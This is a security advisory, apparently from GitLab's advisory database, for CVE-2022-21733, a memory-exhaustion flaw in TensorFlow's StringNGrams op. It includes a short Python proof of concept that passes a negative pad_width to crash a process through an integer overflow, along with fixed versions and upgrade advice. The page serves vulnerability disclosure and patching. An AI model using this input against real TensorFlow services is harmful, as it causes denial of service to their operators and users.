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CVE-2022-21733: Memory exhaustion in Tensorflow

February 10, 2022 (updated November 13, 2024)

The implementation of StringNGrams can be used to trigger a denial of service attack by causing an OOM condition after an integer overflow:

import tensorflow as tf

tf.raw_ops.StringNGrams(
data=['123456'],
data_splits=[0,1],
separator='a'*15,
ngram_widths=[],
left_pad='',
right_pad='',
pad_width=-5,
preserve_short_sequences=True)

We are missing a validation on pad_witdh and that result in computing a negative value for ngram_width which is later used to allocate parts of the output.

References

  • github.com/advisories/GHSA-98j8-c9q4-r38g
  • github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2022-57.yaml
  • github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2022-112.yaml
  • github.com/tensorflow/tensorflow
  • github.com/tensorflow/tensorflow/blob/5100e359aef5c8021f2e71c7b986420b85ce7b3d/tensorflow/core/kernels/string_ngrams_op.cc
  • github.com/tensorflow/tensorflow/commit/f68fdab93fb7f4ddb4eb438c8fe052753c9413e8
  • github.com/tensorflow/tensorflow/security/advisories/GHSA-98j8-c9q4-r38g
  • nvd.nist.gov/vuln/detail/CVE-2022-21733

Code Behaviors & Features

Detect and mitigate CVE-2022-21733 with GitLab Dependency Scanning

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Affected versions

All versions before 2.5.3, all versions starting from 2.6.0 before 2.6.3, all versions starting from 2.7.0 before 2.7.1, version 2.7.0

Fixed versions

  • 2.5.3
  • 2.6.3
  • 2.7.1

Solution

Upgrade to versions 2.5.3, 2.6.3, 2.7.1 or above.

Impact 6.5 MEDIUM

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Learn more about CVSS

Weakness

  • CWE-190: Integer Overflow or Wraparound
  • CWE-400: Uncontrolled Resource Consumption

Source file

pypi/tensorflow-cpu/CVE-2022-21733.yml

Spotted a mistake? Edit the file on GitLab.

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